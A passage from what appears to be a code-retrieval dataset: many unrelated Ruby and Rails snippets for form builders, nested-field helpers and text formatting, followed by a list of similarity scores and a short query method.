"def inner_field_wrapper(_value, index)\n <<-HTML\n <td>\n #{template.link_to(resources[index].uid, curation_concerns_work_path(resources[index].id), target: '_blank')}\n </td>\n <td>\n #{template.link_to(resources[index].pref_label, curation_concerns_work_path(resources[index].id), target: '_blank')}\n #{yield}\n </td>\n <td>\n #{template.link_to(resources[index].main_ref_number, curation_concerns_work_path(resources[index].id), target: '_blank') if resources[index].has_model == 'Work'}\n </td>\n <td><a href=\"#\" class=\"btn btn-danger am-delete\">- Remove</a></td>\n HTML\n end",
"def fields_for(child_association, collection=nil, options={}, &block)\n default_collection = self.object.send(child_association)\n collection ||= default_collection\n include_index = default_collection.respond_to?(:each)\n\n nested_options = { :parent => self, :association => child_association }\n Array(collection).each_with_index.inject(SafeBuffer.new) do |all,(child_instance,index)|\n nested_options[:index] = options[:index] || (include_index ? index : nil)\n all << @template.fields_for(child_instance, { :nested => nested_options, :builder => self.class }, &block) << \"\\n\"\n end\n end",
"def layoutField(fld, idx)\r\n insert_item(idx, fld.name)\r\n set_item(idx, 1, fld.df.desc)\r\n set_item(idx, 2, fld.generator.klass_name)\r\n set_edit_attr(idx, 2, InplaceEditListCtrl::EDIT_TYPE_CHOICE, @value_types)\r\n case fld.generator\r\n when ValueTypeFixed\r\n set_item(idx, 3, fld.generator.value)\r\n set_edit_attr(idx, 3, InplaceEditListCtrl::EDIT_TYPE_EDIT)\r\n when ValueTypeFromConfig\r\n when ValueTypeVariableCard\r\n set_item(idx, 3, fld.generator.column)\r\n set_edit_attr(idx, 3, InplaceEditListCtrl::EDIT_TYPE_CHOICE, Card.columns)\r\n when ValueTypeVariableAcquirer\r\n set_item(idx, 3, fld.generator.column)\r\n set_edit_attr(idx, 3, InplaceEditListCtrl::EDIT_TYPE_CHOICE, Acquirer.columns)\r\n when ValueTypePreviousOutgoing\r\n set_item(idx, 3, fld.generator.field_name)\r\n set_edit_attr(idx, 3, InplaceEditListCtrl::EDIT_TYPE_CHOICE, @fullnameList)\r\n when ValueTypePreviousIncoming\r\n set_item(idx, 3, fld.generator.field_name)\r\n set_edit_attr(idx, 3, InplaceEditListCtrl::EDIT_TYPE_CHOICE, @fullnameList)\r\n end # end of case\r\n end",
"def parent_of_comment_form_item\r\n 'place_id'\r\n end",
"def ar_form_for new_or_edit, builder\n result= \"\\n\"\n \n if new_or_edit != :new && @resource.has_attribute?(:lock_version)\n result << content_tag(:dd, builder.hidden_field(:lock_version)) << \"\\n\"\n end\n\n controller.ardata.hidden_fields.each do |hidden_attr|\n result << content_tag(:dd, builder.hidden_field(hidden_attr)) << \"\\n\"\n end\n\n collection= controller.ardata.fields.send(\"for_#{new_or_edit}\")\n \n collection.each do |column, title|\n # This skips the selection of a parent on create if the parent is present (because if the resource\n # is child of a known parent the value for the parent_id is already known.\n next if new_or_edit == :new && controller.ardata.is_column_for_current_parent(column, @parent_resource)\n\n label= ar_get_index_label(title)\n\n # Only display the field if it's not empty. This is usefull when the label\n # is built from a proc: you can decide wheter to show the field or not by \n # returning and empty label for the attribute based on certain condition.\n if label && !label.strip.empty?\n field= ar_form_method(builder, @resource, column, controller.ardata)\n result << \"#{content_tag(:dt, label)}\\n #{content_tag(:dd, field)}\\n\"\n end\n end\n\n label_key_for_submit= new_or_edit == :new ? :create : :update\n result << content_tag(:dt, submit_tag(controller.ardata.labels[label_key_for_submit])) << \"\\n\"\n \n content_tag :dl, result\n end",
"def link_to_add_fields(name, form, association, this = nil)\n new_object = form.object.send(association).klass.new\n id = new_object.object_id\n\n fields = form.fields_for(association, new_object, child_index: id) do |builder|\n render(\"admin/partials/\" + association.to_s.singularize + \"_fields\", f: builder, resource: this)\n end\n\n link_to(name, \"#\", class: \"add-fields\", data: { id: id, fields: fields.gsub(\"\\n\", \"\")})\n end",
"def structure\n [\n item('Manage', subitems: [\n item('Addresses', path: admin_addresses_path),\n item('Clients', path: admin_clients_path),\n item('Discounts', path: admin_discounts_path),\n item('Suppliers', path: admin_suppliers_path),\n item('Services', path: admin_services_path),\n item('Products', path: admin_products_path),\n item('Sells', path: admin_sells_path),\n item('Schedule Service', path: admin_schedule_services_path),\n ]),\n item('Marketing', subitems: [\n item('Campaigns', path: admin_campaigns_path)\n ]),\n item('+ Sell', path: '/admin/sells/new')\n ]\n end",
"def fields_for(record_or_name_or_array, *args, &block) #:nodoc:\n opts = args.extract_options!\n opts.merge!(:builder => Transit::Builders::FormBuilder)\n args.push(opts)\n super(record_or_name_or_array, *args, &block)\n end",
"def extend_permitted_params_with_embedded_item(pp_array)\n pp_array << { embedded_item: embedded_item_permitted_params } if @embedded_item\n end",
"def layout_fields\n \n end",
"def field_set_and_list_wrapping_for_method(method, options, contents) #:nodoc:\n contents = contents.join if contents.respond_to?(:join)\n\n template.content_tag(:fieldset,\n template.content_tag(:legend,\n self.label(method, options_for_label(options).merge(:for => options.delete(:label_for))), :class => 'label'\n ) <<\n template.content_tag(:ol, contents)\n )\n end",
"def element_form(context={}, aspect_model)\n \n app = context[:app]\n \n renderer = ::UI::FieldSetRender.new('location', app) \n location_form = renderer.render('form', 'em')\n \n end",
"def link_to_add_fields(name, f, association)\n new_object = f.object.send(association).klass.new\n id = new_object.object_id\n fields = f.fields_for(association, new_object, child_index: id) do |builder|\n render(association.to_s.singularize + \"_fields\", f: builder)\n end\n link_to(name, '#', class: \"add_fields btn btn-success btn-block\", data: {id: id, fields: fields.gsub(\"\\n\", \"\")})\n end",
"def inner_field_wrapper(_value, index)\n <<-HTML\n <td>#{render_thumbnail(resources[index])}</td>\n <td>\n #{template.link_to(resources[index].pref_label, curation_concerns_generic_work_path(resources[index].id), target: '_blank')}\n #{yield}\n </td>\n <td>#{template.render_visibility_link resources[index]} #{publish_channels_to_badges(resources[index].publish_channels)}</td>\n <td>\n #{template.link_to(resources[index].uid, curation_concerns_generic_work_path(resources[index].id), target: '_blank')}\n </td>\n\n <td><a href=\"#\" class=\"btn btn-danger am-delete\">- Remove</a></td>\n HTML\n end",
"def wrap_block(method, options = {}, &block)\n # content = capture(&block)\n concat(tag('div', {:class => 'irow', :id => \"irow_#{@object_name}_#{method}\"}), block.binding)\n concat(label_for_field(method, options), block.binding)\n concat(tag('div', {:class => 'input'}), block.binding)\n yield self\n concat(cr, block.binding)\n concat('</div>', block.binding)\n concat('</div>', block.binding)\n end",
"def layout_fields\n # Everything has a tag - or it BETTER!\n # Probably should refactor this or something.\n value = @stored_values[:tag] || @object.tag\n label = Label.new(\"Tag\")\n tagInput = InputField.new(value,30)\n @attr_to_field[:tag] = tagInput\n layout_field_button(label,tagInput,\"Auto\") do\n attemptName = nil\n if @attr_to_field[:name]\n attemptName = @attr_to_field[:name].text\n end\n tagInput.text = @rl.repository.generate_tag_for(@object,attemptName)\n end\n @fieldY = tagInput.rect.bottom + @spacing \n @object.class.attrs.sort.each do | attr |\n next if attr == :tag # We did tags ourselves\n display = true\n value = @stored_values[attr] || @object.send(attr)\n label = Label.new(attr.to_s)\n rows,cols = [0,0]\n size= @object.class.size_for(attr)\n input = nil\n if size\n rows,cols = size\n if rows > 1\n input = MultiLineInput.new(value)\n input.set_size(rows,cols)\n elsif rows == 0 || cols == 0\n display = false\n else\n input = InputField.new(value, cols)\n end\n else\n input = InputField.new(value,20)\n end \n \n if display\n if rows > 1\n scroller = Scroller.new(input)\n scroller.translate_to(*input.rect.topleft)\n layout_field(label,scroller)\n else\n layout_field(label,input)\n end\n @attr_to_field[attr] = input\n end\n check_max_button(attr,input) if input\n end\n \n # Booleans\n @object.class.booleans.each do | attr |\n value = @stored_values[attr] || @object.send(attr)\n checkbox = CheckBox.new(attr.to_s,value)\n checkbox.rect.topleft = [ @fieldX, @fieldY ] \n \n @fieldY = checkbox.rect.bottom + @spacing\n \n self << checkbox\n @bool_to_field[attr] = checkbox\n end\n \n # And now for the enums!\n @object.class.enumerations.each do | attr, valid |\n value = @stored_values[attr] || @object.send(attr)\n label = Label.new(attr.to_s)\n \n size = @object.class.size_for(attr)\n label.rect.topleft = [@fieldX, @fieldY]\n rows = size || valid.size\n \n input = ListBox.new\n input.rect.w = @mainRect.w / 2 - label.rect.w - @spacing * 3\n input.rect.h = input.height(rows)\n input.items = valid\n input.chosen = value\n \n input.translate_to(label.rect.right + @spacing, @fieldY)\n \n @fieldY = input.rect.bottom + @spacing\n self << label\n self << input\n @enum_to_field[attr] = input\n \n end\n end",
"def nestedform_params\n params.require(:nestedform).permit(:title, contents_attributes: [:name])\n end",
"def link_to_add_fields(name, f, association)\n new_object = f.object.send(association).klass.new\n id = new_object.object_id\n fields = f.fields_for(association, new_object, child_index: id) do |builder|\n render('shared/' + association.to_s.singularize + '_fields', f: builder)\n end\n link_to(name, '#', class: \"add_fields\", data: {id: id, fields: fields.gsub(\"\\n\", \"\")})\n end",
"def nice_form_for(obj, options = {})\n options[:html] ||= {}\n options[:html][:class] = \"#{obj.class.model_name.singular}_form\"\n form = form_for(obj, options) do |f|\n \n # set form mode\n f.mode = form_mode\n yield(f)\n end\n \n # add required * def'n\n if form =~ /\"reqd_sym\"/\n form = (content_tag(:div, t(\"layout.reqd_sym_definition\", :reqd_sym => reqd_sym).html_safe, :class => \"tip\") + form).html_safe\n end\n \n form\n end",
"def fields_for_with_form_assistant(record_or_name_or_array, *args, &proc)\n options = args.extract_options!\n # hand control over to the original #fields_for()\n fields_for_without_form_assistant(record_or_name_or_array, *(args << options.merge!(:builder => self.class)), &proc)\n end",
"def nesting() end",
"def semantic_fields_for(name, *args, &block)\n use_semantic_builder(:fields_for, name, *args, &block)\n end",
"def addInputs(forms)\n forms.push( {\"description\"=>\"Config\",\n \"label\"=>\"Config\",\"name\"=>\"config\",\n \"property_inputs\"=>[{\"description\"=>\"Stack\",\"label\"=>\"Stack\",\"reference\"=>\".diego_cell\"+deploymentName+\".stack\"},\n {\"description\"=>\"Virtual IP\",\"label\"=>\"Virtual IP\",\"reference\"=>\".ha_proxy\"+deploymentName+\".keepalived_vip\"},\n {\"description\"=>\"Same Keepalived group share same virtual router ID \",\"label\"=>\"Virtual Router ID\",\"reference\"=>\".ha_proxy\"+deploymentName+\".keepalived_virtual_router_id\"}] });\nend",
"def form_content_options(pid = nil)\n {:view => form_template, :layout => 'form_wrapper.html.erb',\n :locals => {:container => \"#{dom_id}_form\", :record => record, :pid => pid, :multipart_form => multipart_form}}\n end",
"def bp_group options, &block\n label = options[:label].blank? ? \"\" : options[:label]\n id = options[:id].blank? ? \"\" : options[:id]\n style = options[:style].blank? ? \"\" : options[:style]\n\n out = content_tag :li, :class => bp_class(\"group #{options[:class]}\"), :id => \"#{id}\", :style => style do\n content_tag :fieldset do\n fieldset = label.blank? ? \"\" : content_tag(:legend, label, :class => \"label\")\n fieldset += content_tag(:ol, capture(&block))\n fieldset.html_safe\n end\n end\n\n bp_html_print out\n end",
"def update_page_in_toolbox\n if multipart_form?\n responds_to_parent do\n render :update do |page|\n yield page\n end\n end\n else\n render :update do |page|\n yield page\n end\n end\n end",
"def form_element(*args, &block)\n content, options = filter_tag_args(*args)\n options[:class] = if dom_class = options.delete(:class)\n \"fieldRow #{dom_class}\"\n else \n \"fieldRow\"\n end\n if block_given? && !content\n concat content_tag(:dl, capture(&block), options)\n else\n content_tag(:dl, content, options)\n end\n end",
"def flexemes\n self.form.flexemes\n end",
"def link_to_add_fields(name, f, association)\n new_object = f.object.send(association).klass.new\n id = new_object.object_id\n fields = f.fields_for(association, new_object, child_index: id) do |builder|\n render(association.to_s.singularize + \"_fields\", f: builder)\n end\n link_to(name, '#', class: \"add_fields\", data: { id: id, fields: fields.gsub(\"\\n\", \"\") })\n end",
"def next_form\n json_form.next_form(parsed_json['id'])\n end",
"def render_field_block(f, klass, attribute, field_method, field_options)\n render :partial => 'shared/form_field',\n :locals => {f: f, klass: klass, attr: attribute, type: field_method, opts: field_options}\n end",
"def draw_form_group_fieldset(bootstrap, method)\n options = {}\n\n unless bootstrap.label[:hide]\n label_text = bootstrap.label[:text]\n label_text ||= ActionView::Helpers::Tags::Label::LabelBuilder\n .new(@template, @object_name.to_s, method, @object, nil).translation\n\n add_css_class!(options, \"col-form-label pt-0\")\n add_css_class!(options, bootstrap.label[:class])\n\n if bootstrap.horizontal?\n add_css_class!(options, bootstrap.label_col_class)\n add_css_class!(options, bootstrap.label_align_class)\n end\n\n label = content_tag(:legend, options) do\n label_text\n end\n end\n\n content_tag(:fieldset, class: \"form-group\") do\n content = \"\".html_safe\n content << label if label.present?\n content << draw_control_column(bootstrap, offset: bootstrap.label[:hide]) do\n yield\n end\n\n if bootstrap.horizontal?\n content_tag(:div, content, class: \"row\")\n else\n content\n end\n end\n end",
"def form_notes_parts(user)\n return user.notes_template_parts + [other_notes_part] if notes.blank?\n\n user.notes_template_parts + notes_orphaned_parts(user) +\n [other_notes_part]\n end",
"def link_to_add_fields(name, f, association, parent_container_query)\n new_object = f.object.class.reflect_on_association(association).klass.new\n fields = f.fields_for(association, new_object, :child_index => \"new_#{association}\") do |builder|\n render(association.to_s.singularize + \"_fields\", :f => builder)\n end\n link_to_function(name, \"add_fields(\\\"#{parent_container_query}\\\", \\\"#{association}\\\", \\\"#{escape_javascript(fields)}\\\")\")\n end",
"def form_fields\n [:description, :status, :magic]\n end",
"def form(text='some text', height=0, width=0, formheight=0, items=[])\n # item = [label, y, x, item, y, x, flen, ilen]\n item_string = items.collect{|i| %(\"#{i[0]}\" #{i[1]} #{i[2]} \"#{i[3]}\" #{i[4]} #{i[5]} #{i[6]} #{i[7]})}.join(' ')\n puts item_string\n command = %(--form \"#{text.to_s}\" #{height.to_i} #{width.to_i} #{formheight.to_i} #{item_string})\n call_and_capture command do |return_value|\n fields = []\n return_value.each_line do |line|\n puts line\n end\n end\n end",
"def form_item_params\n params.require(type.underscore.to_sym).permit(:type, :order, :label, :value)\n end",
"def fields_for(name, attrs = {}, &blk)\n attrs ||= {}\n with_form_context(name, attrs.delete(:builder)) do\n capture(&blk)\n end\n end",
"def _HtmlBlockForm\n\n _save = self.pos\n while true # sequence\n _tmp = apply(:_HtmlBlockOpenForm)\n unless _tmp\n self.pos = _save\n break\n end\n while true\n\n _save2 = self.pos\n while true # choice\n _tmp = apply(:_HtmlBlockForm)\n break if _tmp\n self.pos = _save2\n\n _save3 = self.pos\n while true # sequence\n _save4 = self.pos\n _tmp = apply(:_HtmlBlockCloseForm)\n _tmp = _tmp ? nil : true\n self.pos = _save4\n unless _tmp\n self.pos = _save3\n break\n end\n _tmp = get_byte\n unless _tmp\n self.pos = _save3\n end\n break\n end # end sequence\n\n break if _tmp\n self.pos = _save2\n break\n end # end choice\n\n break unless _tmp\n end\n _tmp = true\n unless _tmp\n self.pos = _save\n break\n end\n _tmp = apply(:_HtmlBlockCloseForm)\n unless _tmp\n self.pos = _save\n end\n break\n end # end sequence\n\n set_failed_rule :_HtmlBlockForm unless _tmp\n return _tmp\n end",
"def link_to_add_fields(name, f, association)\n new_object = f.object.send(association).klass.new\n id = new_object.object_id\n fields = f.fields_for(association, new_object, child_index: id) do |builder|\n render(association.to_s.singularize + \"_partial\", f: builder)\n end\n link_to(name, '#', class: \"add_fields\", data: {id: id, fields: fields.gsub(\"\\n\", \"\")})\n end",
"def f_form_with(**options, &block)\n options[:builder] = FormattedFormBuilder\n form_with(**options, &block)\n end"
] |
[
"0.6328769",
"0.6173854",
"0.588981",
"0.58455527",
"0.57499915",
"0.57132757",
"0.56502134",
"0.56113344",
"0.55932367",
"0.5572365",
"0.550355",
"0.5488177",
"0.5467904",
"0.5436469",
"0.54042727",
"0.53969127",
"0.53790313",
"0.53582305",
"0.53582305",
"0.5343148",
"0.5340604",
"0.5297913",
"0.5267137",
"0.52584827",
"0.52575815",
"0.5255473",
"0.52237266",
"0.5223387",
"0.5215219",
"0.52045465",
"0.5201463",
"0.51999575",
"0.5198158",
"0.51947844",
"0.5186673",
"0.5183921",
"0.51794326",
"0.5163226",
"0.5159179",
"0.5120927",
"0.5100083",
"0.50931406",
"0.5091051",
"0.5084175",
"0.50566185",
"0.5054192",
"0.50424075",
"0.50397664",
"0.503716",
"0.50347835",
"0.5034065",
"0.5028505",
"0.5005615",
"0.50049293",
"0.50048846",
"0.4994851",
"0.49827972",
"0.49804518",
"0.49675384",
"0.49566957",
"0.4956398",
"0.49549052",
"0.49510995",
"0.49485078",
"0.49477836",
"0.4943263",
"0.4938072",
"0.49313253",
"0.49289703",
"0.49092576",
"0.49011984",
"0.48992854",
"0.48897704",
"0.48847115",
"0.4882163",
"0.4878351",
"0.48498163",
"0.4838796",
"0.48335603",
"0.48266172",
"0.48106486",
"0.4803444",
"0.48013234",
"0.48005173",
"0.47998276",
"0.47874776",
"0.4784792",
"0.4783529",
"0.47806805",
"0.47765848",
"0.47744724",
"0.47719",
"0.47681844",
"0.47663906",
"0.4765356",
"0.47606274",
"0.47496328",
"0.47350338",
"0.47345328",
"0.47256562"
] |
0.54309714
|
14
|
Passes text through a gauntlet of functions to improve the results for an end user Used for description fields.
|
def link_and_format(text, options = {})
simple_format(auto_link(text, :html => {:target => '_blank'}), options)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def description; @text; end",
"def filter_description(text, readmore, url)\n if text\n _text = Sanitize.fragment(text[0...1000] + '…', Sanitize::Config::RELAXED)\n if readmore && url\n _text = \"#{_text} <p><a class=\\\"event-read-more\\\" href=\\\"#{url}\\\">#{readmore}</a></p>\"\n end\n _text\n else\n \"<p><a class=\\\"event-read-more\\\" href=\\\"#{url}\\\">#{readmore}</a></p>\"\n end\nend",
"def improve(text)\n return Typogruby.improve(text.to_s)\n end",
"def texts; end",
"def completed_text_extraction\n end",
"def\n \nend\n\n\n# 6. sentence_maker refactored solution",
"def searchdescription\n end",
"def _test_text ; process_test_case(\"text\") ; end",
"def e_words(str)\r\n \r\nend",
"def post_process_text(s) \n # extract math\n math, arrays = [], []\n s.scan(/\\$([^$]+)\\$/) {|m| math << m } # $$\n s.scan(/\\\\\\[([^$]+)\\\\\\]/) {|m| arrays << m } # \\[ \\]\n # citations\n s = replace_citations(s)\n # listings, algorithms, tables\n s = replace_listings(s)\n # custom \n s = replace_custom_refs(s)\n # texttt\n s = replace_texttt(s)\n # emph\n s = replace_emph(s)\n # textbf\n s = replace_bf(s)\n # urls\n s = replace_urls(s)\n # footnotes\n s = replace_footnotes(s)\n # paragrams\n s = replace_paragraphs(s)\n # chapter refs\n s = replace_chapter_refs(s)\n # section refs\n s = remove_section_refs(s)\n # replace markboth with nothing\n s = replace_markboth(s)\n # remove hypenation suggestions\n s = remove_hyph_suggestions(s)\n # umlats etc\n s = character_processing(s)\n # replace \\% with %\n s = s.gsub(\"\\\\%\", \"\\%\")\n # replace \"\\ \" with a space\n s = s.gsub(\"\\\\ \", \" \")\n # replace \\\" and \\' with nothing\n s = s.gsub(\"\\\\\\\"\", \"\")\n s = s.gsub(\"\\\\\\'\", \"\")\n # replace ~ with space\n s = s.gsub(\"~\", \" \")\n # replace \\$ with $ (testing algorithms)\n s = s.gsub(\"\\\\$\", \"$\")\n # replace \\_ with _ (testing algorithms)\n s = s.gsub(\"\\\\_\", \"_\") \n # replace \\# with # (appendix)\n s = s.gsub(\"\\\\#\", \"#\")\n # replace \\{ with { (appendix)\n s = s.gsub(\"\\\\{\", \"{\")\n # replace \\} with } (appendix)\n s = s.gsub(\"\\\\}\", \"}\") \n # replace \\\\ with <br /> (appendix, de)\n s = s.gsub(\"\\\\\\\\\", \"<br />\") \n # replace \\Latex with LaTex\n s = s.gsub(\"\\\\LaTeX\", \"LaTex\") \n # replace \\copyright with html copyright\n s = s.gsub(\"\\\\copyright\", \"©\")\n # replace \\mybookdate\\ with publication date 2011\n s = s.gsub(\"\\\\mybookdate\", DATE)\n # replace \\mybookauthor with the author ame\n s = s.gsub(\"\\\\mybookauthor\", \"Jason Brownlee\")\n # replace \\mybooktitle with the book title\n s = s.gsub(\"\\\\mybooktitle\", TITLE)\n # replace \\mybooksubtitle with the book subtitle\n s = s.gsub(\"\\\\mybooksubtitle\", SUBTITLE)\n # finally switch ` for ' (late in the subs)\n s = s.gsub(\"`\", \"'\")\n \n # put the math back\n if !math.empty?\n index = 0\n s = s.gsub(/\\$([^$]+)\\$/) do |m|\n index += 1\n \"$#{math[index - 1]}$\"\n end\n end \n if !arrays.empty?\n index = 0\n s = s.gsub(/\\\\\\[([^$]+)\\\\\\]/) do |m|\n index += 1\n \"\\\\[#{arrays[index - 1]}\\\\]\"\n end\n end\n return s\nend",
"def text text\n end",
"def calculate_text\n puts \"Calculating travel destinations based on your budget. . .\"\nend",
"def description(text)\n content_for(:description) { text }\n end",
"def description(text)\n content_for(:description) { text }\n end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def text; end",
"def visit_Text(text, *rest)\n end",
"def text(string); end",
"def text(string); end",
"def displayDescription(step)\n description = step['Description'].strip\n description = description.gsub('Parameter1', step['Parameter1'].to_s)\n description = description.gsub('Parameter2', step['Parameter2'].to_s)\n puts description.colorize(:color => :white, :background => :blue)\n end",
"def program_long_desc(desc)\n abstract!\n end",
"def html_markup_textile(text); end",
"def main_description; end",
"def help_text\n t = <<-P1\n<p>\n\n This is a table of \"swinfo\" entries for a particular item. The help\n on the welcome page describes various items that can be searched\n for such as defect, APAR, PTF, etc.\n\n</p><p>\n\n The column names in the header can be clicked to sort the table.\n There are three columns that are sorted. The first column has the\n darkest up or down arrow while the third column has the lightest up\n or down arrow. For example, the default is to sort by the defect\n first, then by the APAR, and finally by the PTF.\n\n</p><p>\n\n The page implements an \"endless page\" user interface where only the\n first 1000 rows are rendered. When the bottom of the page is\n scrolled to, then the next 1000 rows are fetched and appended to the\n original. Remember this if you ever search using the in browser, in\n page search because you may not be searching on the complete list of\n items that matched.\n\n</p><p>\n\n The entries under the Defect, APAR, PTF, VRMF, and Service Pack\n columns are links to do a \"swinfo\" search for that particular item.\n\n</p><p>\n\n The little triangles on the right edge of many items presents a menu\n of available actions when clicked. For example, if one of the\n triangles by a defect is clicked, the user is presented with the\n ability to retrieve the CMVC defect, the changes the defect resulted\n in, the APAR draft (if any) associated with the defect. Each of\n these menus also has a \"Select text\" option to select the text. The\n text is <b>not</b> copied to the clipboard. To do that requires\n flash which I did not want to depend upon. Part of the goal is to\n make the UI tablet friendly and flash is definitely not tablet\n friendly.\n\n</p>\nP1\n return t.html_safe\n end",
"def description(text='')\n return @description if text.blank?\n @description = text\n end",
"def desc(text)\n @storage[:description] = text\n end",
"def add_text(text); end",
"def description\n description = puts \"Shelves containing food and other common supplies line the walls \"\\\n \"here. These things were probably stolen from the local village or nearby farms during \"\\\n \"raids. Although there doesn't seem to be anything of value here, you never know what a \"\\\n \"search will turn up.\"\n puts \"You can go back the way you came from.\"\n if @monster\n puts \"An evil #{@monster.monster} is here, ruffling for something to eat.\"\n else\n puts \"The squeek of a rat and pitter-patter of tiny rodent feet is all you hear.\"\n end\n end",
"def deco_textilizable(*args)\n options = args.last.is_a?(Hash) ? args.pop : {}\n case args.size\n when 1\n obj = options[:object]\n text = args.shift\n when 2\n obj = args.shift\n attr = args.shift\n text = obj.send(attr).to_s\n else\n raise ArgumentError, 'invalid arguments to textilizable'\n end\n return '' if text.blank?\n project = options[:project] || @project || (obj && obj.respond_to?(:project) ? obj.project : nil)\n only_path = options.delete(:only_path) == false ? false : true\n\n text = text.dup\n\n ####add custom\n tmp_text = deco_block_textile_quotes(text)\n if(tmp_text) then\n text = tmp_text\n else\n text = text.dup\n end\n ####\n\n macros = catch_macros(text)\n text = Redmine::WikiFormatting.to_html(Setting.text_formatting, text, :object => obj, :attribute => attr)\n\n @parsed_headings = []\n @heading_anchors = {}\n @current_section = 0 if options[:edit_section_links]\n\n parse_sections(text, project, obj, attr, only_path, options)\n text = parse_non_pre_blocks(text, obj, macros) do |text|\n [:parse_inline_attachments, :parse_wiki_links, :parse_redmine_links].each do |method_name|\n send method_name, text, project, obj, attr, only_path, options\n end\n end\n parse_headings(text, project, obj, attr, only_path, options)\n\n if @parsed_headings.any?\n replace_toc(text, @parsed_headings)\n end\n\n text.html_safe\n end",
"def text_urgent(text); text_green(text);end",
"def text *params\n raise_without_self \"Parameters are not specified!\", HOWT if params.empty?\n params = params[0]\n\n # reduce short form to full\n params = {@text_default => params} if single_term? params\n\n # parse full form\n opt = OpenStruct.new(:control_text => nil)\n parse_metric params, opt\n\n return @adapter.text(opt)\n end",
"def process_description(description, n)\n experience, education = @experience_xpath[n].text, @education_xpath[n].text\n description += \"\\n\\nExperience: \" + experience unless experience.blank?\n description += \"\\n\\nEducation: \" + education unless education.blank?\n super(description, n)\n end",
"def format_description(text)\n # Look for signs of structure, otherwise just treat as unstructured.\n case text\n when /\"\";/ then double_quotes_to_sections(text)\n when /\\.--v\\. */ then double_dash_to_sections(text)\n when /; *PART */i then # Seen in some IA records.\n when /:;/ then # Observed in one unusual case.\n when /[[:punct:]] *--.* +-- +/ then # Blurbs/quotes with attribution.\n when / +-- +.* +-- +/ then # Table-of-contents title list.\n when /(;[^;]+){4,}/ then # Many sections indicated.\n else return format_multiline(text)\n end\n q_section = nil\n text.split(/ *; */).flat_map { |part|\n next if (part = part.strip).blank?\n case part\n when /^\"\"(.*)\"\"$/\n # === Rare type of table-of-contents listing entry\n line = $1.to_s\n if line.match(SECTION_TITLE_RE)\n gap = (\"\\n\" unless q_section)\n q_section = $1.to_s\n [gap, \"#{q_section} #{$2}\", \"\\n\"].compact\n else\n q_section = nil\n line.match?(/^\\d+ +/) ? line : \"#{BLACK_CIRCLE}#{EN_SPACE}#{line}\"\n end\n\n when / +-- +.* +-- +/\n # === Table-of-contents listing\n section = nil\n part.split(/ +-- +/).flat_map { |line|\n if line.match(SECTION_TITLE_RE)\n gap = (\"\\n\" unless section)\n section = $1.to_s.delete_suffix('.')\n [gap, \"#{section}. #{$2}\", \"\\n\"].compact\n else\n section = nil\n \"#{BLACK_CIRCLE}#{EN_SPACE}#{line}\"\n end\n }.tap { |toc| toc << \"\\n\" unless toc.last == \"\\n\" }\n\n when /[[:punct:]] *--/\n # === Blurbs/quotes with attribution\n part.scan(BLURB_RE).flat_map do |paragraph, attribution|\n attribution.remove!(/[.\\s]+$/)\n [\"#{paragraph} #{EM_DASH}#{attribution}.\", \"\\n\"]\n end\n\n when /^v[^.]*\\. *\\d/\n # === Apparent table-of-contents volume title\n [part]\n\n else\n # === Plain text section\n part = \"#{part}.\" unless part.match?(/[[:punct:]]$/)\n [part, \"\\n\"]\n end\n }.compact.map { |line|\n line.gsub(/---/, EM_DASH).gsub(/--/, EN_DASH)\n }\n end",
"def clean_up_description\n self.description = CoursemologyFormatter.clean_code_block(description)\n end",
"def clean_up_description\n self.description = CoursemologyFormatter.clean_code_block(description)\n end",
"def process_text text\n @filter.process(Blogitr.expand_macros(@filter, text))\n end",
"def uppercase_text\n if self.desc.present?\n self.desc.upcase! \n self.desc.strip!\n end\n self.part_code.upcase! if self.part_code.present?\n self.tarif_code.upcase! if self.tarif_code.present?\n self.origin.upcase! if self.origin.present?\n self.brand.upcase! if self.brand.present?\n self.grade.upcase! if self.grade.present?\n self.packing_method.upcase! if self.packing_method.present?\n self.container_no.upcase! if self.container_no.present?\n self.seal_no.upcase! if self.seal_no.present?\n self.despatch_advise.upcase! if self.despatch_advise.present?\n self.size.upcase! if self.size.present?\n self.model_no.upcase! if self.model_no.present?\n self.reorder_no.upcase! if self.reorder_no.present?\n self.art_no.upcase! if self.art_no.present?\n self.ref_no.upcase! if self.ref_no.present?\n self.work_order_no.upcase! if self.work_order_no.present?\n self.film_no.upcase! if self.film_no.present?\n self.bar_code.upcase! if self.bar_code.present?\n self.lot_no.upcase! if self.lot_no.present?\n self.item_code.upcase! if self.item_code.present?\n self.pantone_code.upcase! if self.pantone_code.present?\n self.color.upcase! if self.color.present?\n self.serial_no.upcase! if self.serial_no.present?\n self.warranty.upcase! if self.warranty.present?\n self.capacity.upcase! if self.capacity.present?\n self.consignee.upcase! if self.consignee.present?\n self.destination.upcase! if self.destination.present?\n self.process.upcase! if self.process.present?\n self.mould_no.upcase! if self.mould_no.present?\n self.category.upcase! if self.category.present?\n self.revision.upcase! if self.revision.present?\n self.window_code.upcase! if self.window_code.present?\n end",
"def text(str); end",
"def meme_phrase; end",
"def text\n ignores = [\n :text, :to_solr, :contribs, :img_src, :media_srcs,\n :captions_src, :transcript_src, :rights_code,\n :access_level, :access_types, :title, :ci_ids, :display_ids,\n :instantiations, :outside_url,\n :reference_urls, :exhibits, :special_collection, :access_level_description,\n :img_height, :img_width, :player_aspect_ratio,\n :player_specs, :transcript_status, :transcript_content,\n :playlist_group, :playlist_order, :playlist_map,\n :playlist_next_id, :playlist_prev_id, :supplemental_content, :contributing_organization_names,\n :contributing_organizations_facet, :contributing_organization_names_display, :producing_organizations,\n :producing_organizations_facet, :build_display_title\n ]\n\n @text ||= (PBCore.instance_methods(false) - ignores)\n .reject { |method| method =~ /\\?$/ } # skip booleans\n .map { |method| send(method) } # method -> value\n .select { |x| x } # skip nils\n .flatten # flattens list accessors\n .map { |x| x.respond_to?(:to_a) ? x.to_a : x } # get elements of compounds\n .flatten.uniq.sort\n end",
"def html_markup_text(text); end",
"def translate(text,dictonary)\nend",
"def debriefingText _args\n \"debriefingText _args;\" \n end",
"def to_description(text)\n text.strip.gsub(/\\s+/, ' ')\n end",
"def h(text); end",
"def h(text); end",
"def create_first_text_message\n%(Today, I want to feel:\nPassionate\nEnergized\nConnected\nHopeful\nAligned\n)\n end",
"def program_desc(desc)\n abstract!\n end",
"def paragraph; end",
"def presented_by text\n \nend",
